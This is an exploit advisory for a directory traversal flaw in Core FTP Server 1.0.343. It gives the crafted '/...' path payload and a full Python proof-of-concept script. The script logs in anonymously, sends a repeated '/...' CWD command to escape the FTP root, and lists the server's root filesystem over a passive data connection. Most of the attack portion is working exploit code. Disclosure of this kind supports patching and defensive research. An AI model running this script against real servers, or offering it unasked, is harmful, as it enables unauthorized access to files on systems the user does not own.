Core FTP Server version 1.0.343 suffers from a directory traversal vulnerability.
baa62e127e3ef80b78cb5d75cbd8fe117d958cc2cc971b4c4a3e7274f6364a19
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# _ _ __ __ __ _______ _____ __ __ _____ _ _ _____ __ __ #
# /_/\ /\_\ /\_\ /\_\ /\_\ /\_______)\ ) ___ ( /_/\__/\ ) ___ ( /_/\ /\_\ /\_____\/_/\__/\ #
# ) ) )( ( ( \/_/( ( ( ( ( ( \(___ __\// /\_/\ \ ) ) ) ) )/ /\_/\ \ ) ) )( ( (( (_____/) ) ) ) ) #
# /_/ //\\ \_\ /\_\\ \_\ \ \_\ / / / / /_/ (_\ \ /_/ /_/ // /_/ (_\ \/_/ //\\ \_\\ \__\ /_/ /_/_/ #
# \ \ / \ / // / // / /__ / / /__ ( ( ( \ \ )_/ / / \ \ \_\/ \ \ )_/ / /\ \ / \ / // /__/_\ \ \ \ \ #
# )_) /\ (_(( (_(( (_____(( (_____( \ \ \ \ \/_\/ / )_) ) \ \/_\/ / )_) /\ (_(( (_____\)_) ) \ \ #
# \_\/ \/_/ \/_/ \/_____/ \/_____/ /_/_/ )_____( \_\/ )_____( \_\/ \/_/ \/_____/\_\/ \_\/ #
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# Vulnerability............Directory Traversal #
# Software.................Core FTP Server 1.0.343 #
# Download.................http://coreftp.com/ #
# Date.....................5/27/10 #
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# Site.....................http://cross-site-scripting.blogspot.com/ #
# Email....................john.leitch5@gmail.com #
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# ##Description## #
# #
# It's possible to navigate the local file system of a server running Core FTP Server 1.0.343 by using a #
# specially crafted URL. #
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# ##Exploit## #
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# /... #
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# ##Proof of Concept## #
# #
import sys, socket, re
host = 'localhost'
port = 21
user = 'anonymous'
password = 'a'
buffer_size = 8192
timeout = 8
def recv(s):
resp = ''
while 1:
r = s.recv(buffer_size)
if not r: break
resp += r
return resp
def list_root():
try:
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
s.settimeout(timeout)
print s.recv(buffer_size)
s.send('USER ' + user + '\r\n')
print s.recv(buffer_size)
s.send('PASS ' + password + '\r\n')
print s.recv(buffer_size) + s.recv(buffer_size)
s.send('CWD ' + '/...' * 16 + '\r\n')
resp = s.recv(buffer_size)
print resp
if resp[:3] == '250':
s.send('PASV\r\n')
resp = s.recv(buffer_size)
print resp
pasv_info = re.search(u'(\d+),(\d+),(\d+),(\d+),(\d+),(\d+)', resp)
if (pasv_info == None):
print 'Invalid PASV response: ' + resp
return
s.send('LIST\r\n')
s2 = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s2.connect((host, int(pasv_info.group(5)) * 256 + int(pasv_info.group(6))))
s2.settimeout(timeout)
print recv(s2)
s.close()
except Exception:
print sys.exc_info()
list_root()